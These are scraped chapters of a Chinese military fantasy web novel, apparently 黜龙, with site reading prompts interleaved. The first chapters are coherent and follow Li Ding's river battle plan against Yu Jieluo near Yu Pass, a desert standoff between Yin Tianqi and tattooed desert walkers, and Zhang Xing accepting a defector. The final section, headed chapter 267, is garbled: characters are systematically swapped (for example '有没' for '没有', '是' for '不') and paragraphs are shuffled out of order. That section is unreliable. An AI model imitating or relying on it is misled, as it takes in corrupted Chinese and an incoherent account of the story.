五天后,二月初十日,一个直接牵动战局的变化出现了——洪长涯率五个营的兵马,自晋北楼烦道抵达前线,与周行范会师! 这个速度其实非常快,不过这正是徐世英选择洪长涯带领这支援军的缘故所在,洪长涯是晋地人,常年在晋北活动,晓得地理。 而果然,随着洪长涯及其部属正式出现在鱼皆罗的视野中,后者终于不再犹豫,乃是迈出了原定支援计划的最后一步,也就是亲自东进,以作支援。 鱼皆罗既动,全盘皆动。 隔了一整天而已,二月十一日晚,收到巡骑情报的李定立即召开阵前军议……军议非常简单和直接,这位黜龙帮龙头兼远征军战帅,在告知了最新的军情后,直接了当的下达了出击的命令——全军连夜向偏西侧的榆关运动,准备夺取榆关道,控制榆关与榆林郡! 这个军令当然没有任何问题,甚至有些理所当然的过了头。 毕竟大军至此,就是为这个来的!而且,榆关更近,现在毒漠后方的敌方部队更是在主帅的一步步操控下陆续往东面白道关移动,偏离了榆关,从哪里来说都是合乎情理的! 只不过,随着李定一路杀入巫地,或设伏、或突袭,都能轻易抓住对方要害,然后用最简单的方式和最小的代价夺取了近乎完全的胜利,众人自然不免议论,都在想,这一战是不是也有什么说法? “哪有什么说法?”夜色中,裹着纱布以防风沙的苏靖方无奈对自己妻子解释道。“这一战隔着毒漠,就三个关口,还有个那么远的,弄不出什么花来……所以,战帅的计策其实非常简单,他就是要打榆关,然后坐着不动,等对方动,只要对方一动,有个时间差、兵力差,就可以全军涌上了。” “要是对方不动呢?”窦小娘摸着自己脸上的纱布,好奇追问。 “对方大略还是会动的。”苏靖方继续解释。“你想想,此战对我们来说是尝试,一次打不成退回来再来一次便是,总有两三次的机会,可对他们来说是一旦失败就要是亡国的……所以,多是他们心里先撑不住。何况依着我的猜测,便是鱼皆罗最终没有动,也不耽误战帅果断出击!” 窦小娘这才点头:“我就说嘛,兵马这么强盛,打过去便是,何必再想什么阴谋诡计?” 对此,苏靖方只能苦笑。 倒不是仅仅在笑自己一时无法解释清楚其中微妙,说明这种最简单的调度兵力其实就是最高端的计策,更重要的一点是,妻子心思单纯反而有她的优势,两场战斗后,竟然已经成丹,反倒是自己整日想的那么多,却和恩师一般,修为处处落后。 这事,也不知道该怎么解释。 就这样,正月十二日晚,远征军前锋正式进抵毒漠通道。 十三日正午,鱼皆罗获得军情反馈,立即下令所有移动防御编制的部队全军折回榆关……平心而论,鱼元帅并没有惊慌,甚至有一种第二个靴子落地的安全感,毕竟他真的没有陷入太麻烦的境地,就是被晃开一下嘛,榆关那里还有大河天然做遮蔽,除非说榆关守军直接开城降了,否则足够他回军前后夹击的。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!甚至可能达成半渡而击! 只能说,这些关卡真不是平白无故设立的,这些东西都考虑到了。 同样是这一天,下午时分,一直靠着山区、天然沙漠而躲藏在雕阴郡的徐世英也终于拿下了榆关后方最重要的补给通道——连谷。 然而,几乎就在夺取连谷的同时,徐大郎得到自己后卫传来的紧急军情,大队关西军援军进入了自己刚刚离开的雕阴郡,当先者的旗号是“王”,直接便有一万余众,后续兵力不明! 徐世英意识到自己必须要做出选择,而几乎没有耽误太长时间,他便下达军令,乃是要求全军收缩,将部队猬集于连谷、银城一带。这么干以逸待劳是真的,但却没想就地伏击,而是想等对方前锋渡过雕阴郡中两条河中较大的奢延水时,自己也迅速渡过较窄小的圆河,一个反扑,先吃下对方一部分有生力量,确保战术平衡。 十四日上午,远征军主力穿过毒漠通道,寻到了此时只有浅滩可言的大河支流金水河,然后以此为天然路标,直扑向南,逼近大河。 而榆关,其实就在大河之后,背靠着一片天然……但也有人说其实是毒漠延续只是被大河净化而成的普通沙漠,左后方不过二十里就是榆林郡城,二者实际一体,然后夹河顶漠,锁住了大河南岸的通道。 一旦夺得此处,便可顺着大河左右移动,往左,去夺上游之陇上,往右顺流而下,便是关中! 此时,榆关上的守将已经做了调整,靖安中丞窦尚亲自带援军至此,自然要亲自坐镇关后不过二十里的榆林郡城,而几乎算是榆林郡附属的榆关,此时守将赫然是之前的巫族大使,也就是窦尚的族侄窦濡,副将则为原本的副将常负……这个出身黜龙帮的降人,一直不被信任,用苗红根正的窦濡为正,也是监管他的意思。 至于原本的榆关正将、修为身份俱佳的于常虔,则被调到了之前被认为可能会是黜龙军主攻方向的白道关。 原本的白道关守将陈凌,同样因为降服过巫族的缘故,此时被鱼皆罗编入移动防御部队,就放在身侧。 但是不管鱼皆罗怎么调整,破绽还是露出来了,尤其是到了十四日晚间的时候,远征军主力进抵大河畔,顺势立足金河河口之后就更是如此。 “龙头!”王臣愕寻到在河口驻足的李定,直接下拜请战。“按照窦龙头之前的传书,窦濡是降过我们的,还跟我们有过言语,现在鱼皆罗前锋距离我们还有五十里,今夜无论如何是赶不回来的,现在水势平缓,请让属下乘坐羊皮筏子,先过三千兵马叩关,或许能有奇效!” 随行诸将出发前都开过会的,晓得有这个人,现在验证了这个军情,自然人人心动,只是不好跟王臣愕这种李定心腹中的心腹抢功罢了,此时闻言,各自来看,都等这位龙头下令……便不能第一个渡河,第二、第三去抢榆林城又如何?便是黑延、陆惇、黄平这些北地将领也都跃跃欲试。 然而,李定望河而立,沉默片刻后却缓缓摇头:“不必!且不说窦濡现在被他族叔窦尚亲自监督着,未必就如何……关键是,即便窦濡跟常负一起开城,我此时也不愿意将兵马扔到河对岸去……因为咱们这么多人马,一夜加半日,怎么都不可能全渡,最多渡个两三万,到时候反而会被鱼皆罗来个半渡而击,弄巧成拙。” 众人反应不一,有人不解,有人恍然,还有人敏感的注意到了常负二字,但不管如何,李定不愿意渡河总是真的。 “如此,龙头准备就在大河之侧决战?”张世昭第一个回过神来。 “不错。”李定指向自己身前,众人这才意识到他之前在看什么。“大河滔滔,若能隔河将鱼皆罗主力尽噎于此地,那榆关守将就算姓白,不降又能如何?” “那龙头准备如何打?”张世昭追问不及。 “金河在此,不用白不用……”李定复又指向河口一侧的金水河。“要么背水列阵,要么半渡而击,也没什么花样……我想问问,你们想怎么打?挨个说!” 话到最后,直接指向了张世昭。 “全军越过金水河,在东岸背水一战如何?”张世昭略显烦躁。“干脆利索……何况,如果我们不到东面去,人家在东岸装作渡河去榆关,咱们要不要反扑过去,被人来个半渡而击……不过这个金水河不宽不窄,不深不浅的,浮马可过深水,浅滩直接趟过,背水列阵真有效用?!” 李定不置可否,复又指向一直不吭声的突利可汗:“突利!” 突利吓了一跳,几乎是本能顺着张世昭之前的建议应声:“自然是背水一战!” 李定再度颔首,复又指向都速五。 都速五立即恭顺作答:“小将愿意率兵为先锋,背水一战。” 李定接着又连续指向了自己的几名心腹将领,包括苏睦、王臣愕、邓龙、韩定波、吕道宾等人,这几人晓得是李定要他们表态,自然纷纷拱手,支持背水一战解决问题。 李定旋即颔首:“既如此,你们这些人渡河过去,背水列阵,我在这里,领着剩下的人准备半渡而击……如何?” 这是什么鬼方略?! 众人还在发懵,倒是张世昭扭头去看对面水势走向,又看这些人员兵马安排,却是陡然醒悟,忍不住就在河口旁拍了下巴掌:“好!若是如此,便是尽可能于仓促之间将地理人心用尽了!就这般来!诱他渡河,三面夹攻!” “不是诱!”李定更正了说法,然后双目睥睨来看突利与都速五。“你们须尽力而为,拼努力作战,若是能直接在河对岸胜了鱼皆罗全军,我舍了此番军功,拼了命也要保举你们二人为龙头!但你们若是敢偷奸耍滑,我便将你们先噎在金水河东!然后将军中巫族兵马尽数三一抽杀,生者贬为军奴!” 突利和都速五面面相觑,这才意识到,敢情自己是诱饵,苏睦那些人是监军!然而,事到如今,两部王庭主力都被裹挟,还能如何?! 于是乎,两人无奈,只能一起下拜,却言语不一: “小将不敢!” “本汗愿为黜龙帮驱驰!” PS:回来了。 喜欢黜龙请大家收藏:()黜龙更新速度全网最快。 第一百一十二章 送乌行(22) 战斗开始的时间比想象中要早。 这是因为有大魏的遗泽……曹林当年亲自设置三关防线的时候,便有沿着毒漠和大河分河内、河外四段三条兵站线做辅助,之前窦尚能从陇上迅速支援便是依靠这个,而现在,鱼皆罗能及时回防,也有沿途兵站的作用。 故此,上午时分,仅仅上午太阳升到正东南方向的时候,战斗就忽然爆发了。 率先交战的一方赫然是一支灵武出身的府兵……不要小瞧窦尚带来的陇上援兵,尤其是其中灵武作为窦氏的大本营,早在八柱国制度建立时,就被窦氏认真经营起来,所以他们世代都有战斗经验,忠诚度颇高,武器装备也不赖,而且灵武那地方虽然号称塞上江东,可周边仍不乏山脉、沙漠、河流,称得上是民风剽悍。 这么一支兵马,在此番西进路上还被鱼皆罗做了许诺,说是只要突破当面之敌,回到榆林,救出窦尚、窦濡,便许他们转回灵武……自然士气颇高。 与之形成鲜明对比的,乃是远征军这方吕道宾及其部军法营。 这是一个挂靠在帮务部下,实际上是为了远征军而临时组建的军法营,骨干多是来自于河北地区前大魏的文法吏降人,本意真不是为了作战,即便是督战任务也需要其他部队协作。 然而,战场之上哪有你本意如何的说法? 正是这个军法营,因为第一个过金水河准备列阵的缘故,遭遇到了一支极速而来灵武府兵的迎头痛击!若非是苏睦带领的一营兵本就紧随其后渡河来立阵,协助吕道宾顶住,这个营头怕是要当场崩溃,给所有人来个大大的惊喜。 稳住了,交战了,接下来便是援军陆续抵达以及战线的扩展。 而很快,随着五个李定心腹营头在金河对岸的北侧稳住阵脚,算是强行划定了战场范围,上午的春日阳光下,数不清的巫族骑兵终于开始渡河。这些人,有的是皮甲,有的是铁裲裆,有的明显是之前从关中抢来的制式盔甲,甚至有人穿着全套的明光铠,但人人都有基本的甲械,全都是骑兵,他们将弓矢高高举起,轻易越过水面只到马肋的金河,按照部落猬集起来……又过了一阵子,随着一面烂翅龙旗出现在金河河道之中,在场的所有巫族骑兵们,无论是已经渡河的各个部落,还是之前被黜龙军直接吸收此时在金河西侧立足的王庭精锐,全都欢呼起来。 然后几乎是本能一般,已经渡河的各个部落,便开始了主动出击,用弓矢骚扰,用成团的骑兵伪装冲锋威吓,试图阻止当面也在汇集的灵武府兵重新立阵。 李定依旧站在河口内侧那个高地上,遥遥望着这一幕,然后忽然扭头去看身侧已经开始披甲的张世昭:“张公,任重而道远呀!” 张世昭冷笑了一声:“无妨,此时这烂翅龙旗在咱们一方!” 说完,便也取了战马,往上游标注好的浅滩而去,准备执行昨日傍晚“支持背水一战的去背水一战”之军令。 李定目送对方过去,也不再计较此事。 但他不知道的是,数十里外,凡人视为禁区的毒漠之内,因为刚才那一幕的触动,也有“人”在讨论他们刚刚讨论的事情。 “阁下不觉得奇怪吗?你们护佑的旗帜分明跟我们荡魔卫的人在同一方,可咱们却在这里对峙,岂不可笑?”殷天奇高高浮在毒漠上空,却依然披着他的黑氅。 他的下方,赫然围坐着三位身形枯槁且赤裸着的上身布满怪异刺青之老者……此时闻得这位大宗师兼荡魔卫大司命出言,三者中的两者纹丝不动,其中一个稍微年轻的也只是微微抬了下眼皮。 “哦,老夫大概猜到几位的心思了……”殷天奇状若醒悟,就在满是毒砂的空中望天感慨道。“你们防备的是荡魔卫,不是黜龙帮,荡魔卫跟你们是几千年的对手,从道统到地理,都是如此;可黜龙帮却是这几千年来想要一统天下的无数英豪建立的时势,你们知道拦不住,没法拦,勉强拦住了反而要被反噬,而且这些人来来去去,也没几个真做成的……哪怕是说到黜龙二字,罪龙非比寻常,若黜龙帮真有本事黜祂,你们也拦不住……干脆不作理会。 “甚至于你们看到我们荡魔卫和巫族人一起在黜龙帮麾下作战,非但没有生气,怕是还有些幸灾乐祸,大家不都一个样吗?是也不是?” 下面三人还是没有开口。 殷天奇继续笑道:“必是如此了,你们总觉得我们是一样的!但如何能一样呢?我们背后是至尊,你们背后是罪龙,那位罪龙几千年不曾显圣,难道不是祂自家心里明白做了天大的错事,连如此宽宏之天意都要惩戒祂吗?而你们明知道祂是罪龙,却还顺着祂的罪过走,反而是违逆祂的心意,于是搞得自己巫不巫,人不人……” 说话间,下方一道黄沙卷起,直冲向上,临到殷天奇脚下却莫名消散,而这位大司命兼大龙头根本就是停都没停:“还弄得内里分崩离析,以至于九位毒漠行者缺了两位不说,竟只有三位来照看老夫……这是看的起老夫呢,还是看不起?” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!依旧无人做答,但三位刺青老者的动作明显都有些紧绷。 “与你们相比,我们荡魔卫从头到尾都明白自己要做什么,能做什么……”沉默了片刻,可能真是无聊,殷天奇还是继续自言自语了起来。“我们从来不忌惮这些时势,只要不是一眼不能成事那种,我们都愿意接触,都愿意去融进去,成不成,试一试再说,不成了,我们再独立出来收拾北地局面。 “我也不瞒几位,我这一任算是了却了许多事情,尤其是吞风君的事情,足以对得起至尊老爷和上上下下了。所以我都想好了,真要是黜龙帮能天下一统,或者只是局势稳当起来,我就要卸了这大司命,啥也不干,就出去旅旅游,各地看一看,大半辈子都在北地石头房子里,委实憋弄。 “你们不晓得,就现在那边排阵的几位荡魔卫同列里面,还有人一直以为我不推荐他们谁做龙头是存了什么心思呢?其实就是我连大司命都准备一起卸了,龙头位置也让出来,看能不能给荡魔卫多换个龙头位置罢了。 “不过还好,不耽误他们做正事,不像你们,活的真苦不说,最关键的是,现在的巫族到底是人还是巫,都说不好了;罪龙的作为和念想,你们也不晓得冲突不冲突……最后就是你们自己都不晓得自己做的事是对是错,该不该做!这岂不是玩笑吗?” 话音刚落,下方三道黄砂一起滚动,向着殷天奇脚下飞来。 殷天奇大笑着腾起,就在空中继续讽刺:“原来如此,我竟忘了,你们毒漠行者们个个都挖了舌头,没法跟我说话。” 毒漠中滚起常见的沙尘之后大约一刻钟,鱼皆罗抵达战场,其人驻马于大河畔的高台上,先是忍不住去看了毒漠里滚出的毒砂,然后方才去看战场,却又忍不住蹙眉……因为这个局面太奇怪了! “他们背水列阵,为何要用降人做前军主力?”鱼皆罗看了片刻,忍不住扭头相询身侧诸将。“而且为何只有一小半兵马在这边?背水列阵不是不行,但一则应该全军列阵,二则应该以士气坚韧的部队摆在前面和侧翼才对……” 众将面面相觑,无人做答。 鱼皆罗迟疑了一下,下达军令:“中军从现在开始立定不动,不要接触前军,后续兵马抵达后也按兵不动,就地休息;所有中郎将以上军官派出自己亲卫充当巡骑,去侧翼观察,去阵中尝试作战,去金河窥探对方后军;问清楚哪一部最开始交战,请他们的直属中郎将来见我!” 众将闻得此言,立即有了主心骨,登时忙碌起来,甚至有将领亲自引亲卫突入阵中与巫族人交战,以完成战场上的战术侦查。 河口处,李定遥遥望着这一幕,扭头下达了一个新的军令:“让大河畔的各部准备渡河……用羊皮筏子,认认真真渡,半个时辰内,要确保各营都有一队成建制的兵到对岸去,还要有对应的物资、装备、战马……统一指定给樊梨花,让她先过河,在对岸收拾完了就立即去叩关!” 黜龙军诸将此时倒不至于不能理解这个军令,诱敌嘛,假装渡河,反正渡不过去多少人的,而且这样干的话,能够很理所当然的将部队聚集在侧翼,将中间空出来充当伏击圈,完全可以理解。 只是为了诱敌,真将成建制的队伍扔到河对岸去,而排兵布阵又那么怪异,不免让人心肝微微一颤罢了。 大约又过了两刻钟的样子,日头愈发偏南,这个时候,河面上的诸多羊皮筏子已经不要太明显,上面的去甲军士、甲胄器械、战马牲畜,历历在目。而望着这一切的鱼皆罗身后,也有越来越多的部队自后方汇集。此时以兵力来算,鱼皆罗这里已经有了快四万众的总数,而且还在增加,但大部分没有投入战斗;对面的黜龙军总兵力依然因为存在着大量的辅兵、壮丁以及牲畜群以至于庞大到难以计数,只能大略猜度,以金水河为界限,并单纯以战兵来讲,东岸有三到四万,对岸应该有五到六万。 当然,河对岸的兵马此时有数千在河面上了,西岸的战兵兵力在持续减少。 “元帅!”就在这时,有人忽然在后方提醒。“鹰扬郎将窦崖到了,正是他领着一军灵武来的府兵率先抵达并交战。” 鱼皆罗赶紧回身,认真询问:“窦将军,从头到尾将战事过一遍与老夫。” 窦崖不敢怠慢,躬身下拜,认认真真将战事过了一遍……其中当然免不了稍微夸大一下己方战力和战功,但大略上也没有过于夸张到变形的地步。 等此人说完,周围得到侦查情报的诸将纷纷附和,这基本上跟他们武装侦查的结果是一样的。 而且大家很快得出结论——不是李定不想全军背水列阵,更不是他不想以主力为前锋和侧翼,而是窦崖和后续大英主力来的太快了,窦崖的抵达直接打乱了他们背水部署的次序,而鱼皆罗的中军抵达直接迫使他们改变了战略,从全军背水迎敌变成了以巫族主力拖延住鱼皆罗的主力,然后迅速进军渡河,尝试抢夺关隘。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“军事侦查的结果如何?”鱼皆罗认真听着议论,大约见到几位核心将领都做完表态,便也立即更换了话题。 “可以打!”有人迫不及待。“确实有几营硬的,但最主要的还是巫族人……” “中部的、东部的都有,几个旗帜都见到了,明显之前李定扫荡两部的时候做了赏罚,跟之前战力是不一样的,有的强了有的弱了。”有人保持了耐心。 “我试探了一下那面烂翅龙旗,确实是突利和真的龙旗!” “靠河的那一侧是谁?我没看到龙旗,但明显有人能指挥……” “是都速五,我抓了个舌头问的。” “是这厮,怪不得!” “都速五到底只是都蓝的弟弟……是个机会!” 鱼皆罗认真听完,然后扫视一圈,目光落到一人身上,然后正色询问:“陈将军,只有你全程没有言语……你去侦查了吗?” “元帅军令,岂敢不遵?”陈凌赶紧下拜。“只是诸位将军说的已经极好了……” “我想听听你的意思。”鱼皆罗打断了对方。 “末将以为,对方兵力更盛,稍有不慎,可能就会全军覆没在这大河畔。”陈凌无奈,只能认真回复。“但是,眼下局面确系是个极佳的战机,若能将巫族主力打崩在金河东岸,那么局势就算不能逆转,也能让兵力对比来到一个安全的界限,更不要说,巫族一旦损失严重,很快就会在后方闹起来,促成他们退兵……只是战机如此明显,委实像极了诱饵,可偏偏无论怎么看和无论怎么实际去试探,也没找到破绽。” 鱼皆罗点点头:“老夫跟你想的一样……所以再等一等,等咱们的兵力再充足一点,再让老夫决断。” 周围将领反应不一,但都还算尊重鱼皆罗的身份、经验和修为,只有一开始的窦崖转回战场前在马上回头喊了一句:“元帅,莫忘了你许了我们回灵武的!” 鱼皆罗只能胡乱点头,然后他马上就转移了注意力,因为就在刚刚说话的时候,河道上,已经有渡的快的羊皮筏子开始折回……而河口处,李定几乎是毫不迟疑的下令,要求追加渡河兵力,依旧指派给樊梨花统一指挥。 到此为止,李四依旧没有露出半分破绽。 但是鱼皆罗也依旧没有动弹……没办法,他的压力比下面这些将领们要重的多,他心知肚明,一旦这一战出现了闪失,坏的不止是这一处,恐怕整个大英都要从这里破开。 坦诚说,他都有些后悔收下这个元帅名号了。 若是没做元帅没来这里,大英生死关他甚事?不过战降而已。但现在,局势真压到他身上,他反而没法子那么轻易处之了。 其实不止是鱼皆罗,随着这五六日的发酵,几乎所有能接触到某些讯息的人都察觉到了可能即将到来的巨变……大河对岸的榆关上,全副甲胄的窦濡立在关城上,隔河观望着局势,他心中同样感到煎熬。 如果昨夜李定遣人直接渡河,他说不得直接按照原计划降了。 但现在算怎么回事?尤其是自家叔父就在身后,而前方作战的部队中起码有半数是自家叔父从陇上带来本来可以称之为本钱的兵马,其中甚至有一万多灵武府兵。 难道要自己在这种形势下对着区区一营兵开城? 可如果不降,黜龙帮依旧如自己所料那般最终获得胜利,自己这个三心二意的王八蛋,怕是要被那位同姓的窦龙头专门来信提醒砍了扔进河的。 太阳继续向南移动,忽然间,副将常负苦着脸也上城来,然后低声告知了窦濡一个消息。 窦濡无奈,只能强打精神等待——片刻后,他的族叔父,大魏时就是御史中丞,现在大英的靖安台中丞领陇上检阅大使窦尚在一队全是奇经的修行高手护卫下,走上了关城。 窦濡和常负刚要行礼,却被这位检阅大使制止,随即,后者直接递给了窦濡一个纸条,然后才来询问:“战况如何?” 窦濡扫视了一下纸条内容,心下一惊,但也只能故作冷静回复:“尚未完全交战……鱼元帅大概是担心有诈,不敢轻易投入战斗!” “有诈吗?”窦尚认真追问。 “谁也不知道。”窦濡无奈答道。“反正看不出来……但李定兵力占据绝对优势,鱼公怎么小心都是能理解的……只是,黜龙军确系在认真渡河,这么下去,下午时分就会有相当一支大军来叩关了。” “鱼公是宗师……”窦尚迟疑了一下。 “且不说黜龙军这里高手如云,十几个凝丹、四五个成丹总有,如果情报不差,清河崔氏的那位宗师崔傥应该在李定军中……李定本人也有一些传闻。”窦濡稍作解释。 窦尚只能点头,然后不顾常负在侧,忽然来问:“你觉得,这一战能赢吗?” 窦濡瞥了一眼低头默不作声的常负,无奈来答:“鱼公用兵老道,咱们到底关隘在手,无论如何,总有四分胜……但算上叔父送来的这个情报,我说句实话,只有两三分胜了。” 本小章还未完,请点击下一页继续阅读后面精彩内容!窦尚点点头:“那全局呢?你以为如何?” 窦濡摇头以对,谈吐艰难:“别处也有破绽的,大英这一回怕是要九死一生了。” 窦尚再三点头,认真看了看对岸,那里一半人都是他带来的陇上子弟,只是看了一阵后到底无奈,便转身拍了拍身侧之人的肩膀:“不管如何,要做个忠臣孝子!” 说完就带着人离开了。 窦濡等了片刻,估摸着对方已经走远,便将手中已经被汗水浸湿的纸条打开,展示给了身侧一直低头的常负……后者抬起头来,看的清楚,正是徐世英的旗帜出现在榆林郡范畴连谷一带的情报。 窦濡确定对方看清楚了以后,将纸条递给对方:“常将军,辛苦你将此物送给对岸鱼元帅。” 常负点了下头,接过纸条,便匆匆而下。 当然,这两位、包括刚刚失态的窦尚所不知道的是,徐大郎并没有往这里来的意思,他反而按照他自己之前制定的计划向南侧反扑了——目标是刚刚渡过奢延水的王臣廓。 然而,即便是自诩军事水平全帮数三数四的徐世英徐大郎,此时也有些不安,因为他得到情报,王臣廓渡河之后,没有半点迟疑和等待后军的意思,反而全速沿着北进通道一路往北而来,看起来好像是想尽快支援榆关的意思。 但为何不等后军?这他娘的会不会有诈? 顺着这条线继续往南,来到武关战场,张行此时正在披甲……他精神抖擞,没有半点疲态,好像下午即将展开的对决是什么决定性战斗且黜龙军占尽了优势一般……当然,也不能说完全没有期待,毕竟莽金刚刚刚带来了一支新援兵。 也就是这个时候,张金树闯入了张首席的主帐。 “谁?”张行第一时间没有反应过来。“我给此人写过劝降信吗?还是我已经这么老了,记不住人了?” “首席没有记错,我们没有给此人写过劝降信,因为张虔达现在在东都……具体来说是在弘农桃林一带。”张金树低头给出答复。“他应该是到了东都后因为被司马进达叔侄厌恶,便一直跟着段威,段威威望高,约束的厉害,所以一直挺老实,但段威最近往来东都比较多,给了他空隙。” “桃林是好地方。”张行没有在意那些细节,只是被桃林二字晃了一下神。“他要降?” “是。”张金树低头道。 张行略显沉吟。 张金树立即意识到了什么,低声询问:“张虔达这厮德行不佳……若是纳了他,牛公、曹铭不说,赵行密、虞常南这些江都降人怕是都会有些不满……要不算了?” “不至于,此时如何能摆虚架子?”张行摆手。“告诉他,想要降服,须有投名状……潼关空虚,让他立即叩关!若能偷袭得手,我便用他!” “是。”张金树反应过来,立即应声离去。 张金树既走,张行也站起身来,走到营帐门口,看到太阳差一点才到正南方,却又转身坐了回去,安静等待……他知道,这个时候自己需要的更多是耐心。 只要能稳住,胜算大概率是属于自己的。 然而,千里之外的正北方,毒漠与大河之间,望着头顶的太阳,元帅鱼皆罗却晓得,自己已经没有资格再保持耐心了: 他的身后,兵力已经达到了四万,身前已经有小万把人投入到了战斗……可能还有兵马在后面,但已经来不及了,也无关紧要,而且各将全都已经就位,甚至窦崖在内的好几位灵武府兵首领都对他做了催促; 当面的巫族兵马,不知道是自发的,还是被催促的,刚刚发起了一场冲锋,只是被结阵妥当的前军勉强拦住而已; 河面上,黜龙军还在继续有条不紊的用羊皮筏子渡人过去,而且已经开始在对岸集结。 这个时候,鱼皆罗将目光从对岸的关城处收回,又看了眼手里已经变成一团絮状物的纸条,心中愈发煎熬……之前他觉得,一切都没有问题,这正是最大的问题,可现在,对岸给了他问题答案,他却还是不安。 “元帅。”就在阳光即将抵达正上方的时候,原本已经离开的陈凌去而复返,然后恭敬拱手。“我有个事情思来想去,还是要说……” “快说。”鱼皆罗心中焦躁,不免催促。 “窦濡这个人有些可疑。”陈凌恳切言道。“元帅应该知道,他是从东部巫族王庭逃过来的,而且先到了末将当时驻守的白道关……实际上,他来的日子极晚,算算日子,怕是要等李定去攻打中部时才动身南下的,而且到了白道关后还想用大使的身份直接获得兵权……” “为什么之前不说?”攥着纸条的鱼皆罗愈发不耐。 “因为他是窦氏这一代最出挑的子弟,而末将曾降过巫族,没有那个胆量去指认他,窦中丞来了以后就更不敢了。”陈凌咬牙相对。 “那为什么现在又敢了呢?”鱼皆罗在正午阳光下眯起了眼睛。 “因为末将心里撑不住了。”陈凌跪伏在地,勉力做答。“这一战事关整个北线生死,元帅又在迟疑,我是真撑不住了……生怕若是因为我没有告知讯息而误了局势,将不能承受……元帅,这个事情,是可以验证查询的,它就是这样的……所以无论此战胜败,我只按照实情说出来,心里都能坦荡!” 鱼皆罗闻得此言,反而沉默,数息之后,更是摆手示意:“说的好,且归队中等待军令。” 陈凌不敢怠慢,匆匆折走。 而人既走,鱼皆罗反而冷静了下来: 陈凌的话似乎又抵消了河对岸的情报,让他又有了拖延的把握。但实际上不是这样的,实际上,鱼皆罗终于反应了过来,自己不是白皇帝,不需要为大英存亡负责,他现在是元帅,是这个战场上的指挥官,他只需要为战场的局面负责,这样也才是最正确、最坦荡的应对方略。 具体怎么负责? 有战机,有把握,就该先行取下,再论其他! “传令,全军向前,先歼敌于当面,然后隔河对峙!”很快,鱼皆罗亲口下达了军令。 正午时分,得到军令的大英北线主力蜂拥向前,直扑当面之巫族-黜龙军混合军阵。 李定眯着眼睛遥遥望着这一幕,等到对岸前线全面接战,原本冲动了对方前军阵线的巫族部落集群本能分散回转,引得大英主力军阵趁势渗入过来之后,又连续下达了今日又三个军令:“让沿河诸军停止渡河,就地休息,允许少量进食;让那位崔公来我这里,以作防备;让突利和都速五努力向前,全力奋战!” 说完,他翻身下马,坐在了地上,开始带头吃炒面和肉干。 PS:晚安。 喜欢黜龙请大家收藏:()黜龙更新速度全网最快。 第二百六十七章 山海行(14) 喊杀声中,史怀名是以一种失控姿态翻身坐起的。 一瞬间,他脑中除了强烈的不解外,几乎是一片空白。而这是非常致命的,因为脑中没有任何多余意识,正意味着其人没有任何行动能力。 不过只是坐了片刻,史怀名的大脑就猛地转过了一个弯来,但这个莫名其妙的弯却对他没有丝毫现实意义上的帮助。 具体来说就是,这一刻,他在恐惧、疑惑的同时,居然又陡然醒悟,他曾经以为书里面是夸张的那些描述,居然都是真的! 无论是祖帝北地平叛归来,意识到自己丧失了最后统一天下的机会,忽然在燕山掷刀丧志,功业随之烟消云散; 还是一路从大江边上出击的凝丹一路打成大宗师的谢氏先祖,然后忽然就在大河畔油尽灯枯;又或者是那个因为无颜见江东父老而放弃了一切的南朝权臣,迅速枯死在石头城对岸;乃至于无数个被劫营、突袭后失控的案例,包括前几年张金秤败亡时的失态传说······原来这些统统都是真的。 原来,人在被难以置信的讯息给冲击到以后,被前所未有的情绪给淹没以后,真的会因为想不通、想不开,而丧失行动上的能力。 他自己现在就是这个样子!为什么会有喊杀声?必然是有人劫营。谁来劫营? “敢问白公,可是军情没变?” “要补充一句既做了头领,若城守是住,不能进出来,省的我们以为你们是拿头领那个身份跟一营的编制逼迫我们殉城。”思索了片刻前,二郎忽然又提醒。 坦诚说,那一战出乎所没人预料,谁都有想到一群屯田兵,一场夜袭,就重易化解了联军的一次攻势,并几乎完全击溃了数量几乎相等的叛军······至于说叛军首领、黜龙帮区区数年建帮史下第七位公开叛徒田大郎,冯端城内的几位屯长倒是有没虚报,而是老老实实说了实话。 “要是,降了吧。” “是错,走吧!打赢一场就是错了!对得起天地良心了!” “这坏,他既想做田大郎,这你们就成全他。”说着,黄屯长回头来看罗术长。“黄兄,依你说,杀了我吧!然前告诉全军,田大郎还没死了,咱们此战还没是全胜!收拾战果,天亮后回城!” 可若是那样的话,黜龙帮区区八屯屯田兵,一击之上,非但击溃当面之敌,更是果然杀了田大郎,倒是一时震动整个清河了。 而随着陶福长的呼喊,从此处营地结束,“只杀田大郎”的喊声渐渐平息,取而代之的是震动原野的欢呼声。 见到那样,黜龙帮便干脆将我们收拿,押送到了前方。 但是,有没用。 曹、郝七人一时诧异。 就那样,文书写完,陶福真马虎检查了一遍,还是觉得心虚,复又拿给韩二郎来看,让对方来参详。 周围人都没些惊讶,而耳听着“只杀田大郎”的声音,罗术长七上来看,也没些茫然起来,但我还是高头做了吩咐,让人去请一个人来。 战斗中,我们宣布杀了田大郎,以迅速了结战斗,但实际下有没看到田大郎。 见到段威将一封自家看前的军情文书递给史怀名,本就没些躁动的刘黑终于按捺是住,主动开口相询。 “他是是史将军吗?” 那上子,田大郎的那位心腹愚笨反被愚笨误。 “将军!” 然而,其人冲出去是过片刻,随着里面喊杀声越来越小,复又狼狈逃回,然前更改了建议:“将军走吧!挡是住了!贼军狡猾,都只着“裲裆'和短兵,又都是本地人,营内根本分是清敌你,今天又累成这样,营寨也是纷乱,现在还没全炸开了!张队将我们 也是见了!” “怎么办?” 因为我们刚刚拽着田大郎走出中军小寨,来到营寨间的巷道,局势又变了,炸营时最学使这种爆发性混乱只持续了片刻,因为即便是自相残杀也是需要士气维系的,而随着黜历亭的慢速推退,营中士卒的士气几乎一泄,忽然又迅速退入了炸营的前半场,也不是是顾一切小举逃窜。 而史怀名复又看向了段威,言语依旧紧张:“段公,依着你看,那次的事情要算在后线的纪曾跟郑善叶身下,是管是谁干的,那个局面,十之四四是谁看是起人家降将降兵,拿人家当投石问路的石子,否则何至于孤军疲惫之上抢到这城上?被黜龙贼窥到战机?” 军官怔了上,点点头,也是再计较,只在粪坑后的栅栏上弯腰交互了衣物······军官穿了田大郎的甲胄,戴了雕文头盔;相对应的,田大郎则套下了裲裆甲。 黄屯长点点头,然前毫是学使,下后一刀杀了对方。 那是个很愚笨的做法。 “可惜,要是真杀了田大郎,足以震慑帮内人心!”二郎也是是由摊手。 